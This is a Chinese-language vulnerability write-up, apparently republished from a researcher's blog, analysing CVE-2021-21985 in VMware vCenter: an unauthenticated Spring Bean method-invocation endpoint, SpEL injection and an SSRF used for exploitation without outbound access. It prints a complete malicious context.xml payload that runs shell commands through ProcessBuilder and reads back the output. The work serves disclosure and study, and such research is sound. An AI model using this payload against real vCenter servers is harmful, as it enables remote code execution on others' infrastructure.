作者:Ricter Z
原文鏈接:http://noahblog.#/vcenter-cve-2021-2021-21985/
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百個 bundle。前幾日爆出的任意文件寫入漏洞即為 vrops 相關的 bundle 出現的問題。在針對其他 bundle 審計的過程中,發現 h5-vsan 相關的 bundle 提供了一些 API 端點,并且未經過授權即可訪問。通過進一步的利用,發現其中某個端點存在安全問題,可以執行任意 Spring Bean 的方法,從而導致命令執行。
漏洞時間線:
- 2021/04/13 - 發現漏洞并實現 RCE;
- 2021/04/16 - 提交漏洞至 VMware 官方并獲得回復;
- 2021/05/26 - VMware 發布漏洞 Advisory(VMSA-2021-0010);
- 2021/06/02 - Exploit 公開(from );
- 2021/06/05 - 本文公開。
0x01. 漏洞分析
存在漏洞的 API 端點如下:

首先在請求路徑中獲取 Bean 名稱或者類名和方法名稱,接著從 POST 數據中獲取 methodInput 列表作為方法參數,接著進入 invokeService 方法:

invokeServer 先獲取了 Bean 實例,接著獲取該實例的方法列表,比對方法名和方法參數長度后,將用戶傳入的參數進行了一個簡單的反序列化后利用進行了調用。Bean 非常多(根據版本不同數量有微量變化),如圖所示:

其中不乏存在危險方法、可以利用的 Bean,需要跟進其方法實現進行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,對應的類是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代碼如下:

注意到 loadVmodlPackage 會調用 SpringContextLoader 進行加載,vmodPackage 可控。

最終會調用到 ClassPathXmlApplicationContext 的構造方法。ClassPathXmlApplicationContext 可以指定一個 XML 文件路徑,Spring 會解析 XML 的內容,造成 SpEL 注入,從而實現執行任意代碼。

需要注意的是,在 SpringContextLoader 的 getContextFileNameForPackage 會將路徑中的 . 替換為 /,所以無法指定一個正常的 IPv4 地址,但是可以利用數字型 IP 繞過:

XML 文件內容及攻擊效果如下:

0x02. 不出網利用(6.7 / 7.0)
若要利用此漏洞本質上需要獲取一個 XML 文件的內容,而 Java 的 URL 并不支持 data 協議,那么需要返回內容可控的 SSRF 或者文件上傳漏洞。這里利用的是返回內容可控的 SSRF 漏洞。漏洞位于 vSAN Health 組件中的 VsanHttpProvider.py:

這里存在一個 SSRF 漏洞,使用的是 Python 的 urlopen 函數進行請求,接著將返回內容在內存中進行解壓,并且匹配文件名為 .*offline_bundle.* 的內容并進行返回。Python 的 urlopen 支持 data 協議,所以可以構造一個壓縮包并 Base64 編碼,構造 data 協議的 URL:

在利用的過程中,將 IP 地址替換為 localhost 即可防止 . 被替換。由于這個端點在 6.5 版本的 vSAN Health 不存在,所以無法在 6.5 版本上不出網利用。
現在雖然不用進行外網請求,但是仍然無法獲取命令回顯。通過查看 Bean 列表,發現存在名為 systemProperties 的 Bean。同時這個 Bean 也存在方法可以獲取屬性內容:

所以在執行 SpEL 時,可以將命令暫存到 systemProperties 中,然后利用 getProperty 方法獲取回顯。最終的 context.xml 內容為:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>12345678910111213141516171819202122232425262728
最終利用需要兩個 HTTP 請求進行。第一個請求利用 h5-vsan 組件的 SSRF 去請求本地的 vSAN Health 組件,觸發第二個 SSRF 漏洞從而返回內容可控的 XML 文件內容,XML 文件會執行命令并存入 System Properties 中,第二個請求調用 systemProperties Bean 的 getProperty 方法獲取輸出。最終攻擊效果如下:

0x03. 技術總結

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1598/
暫無評論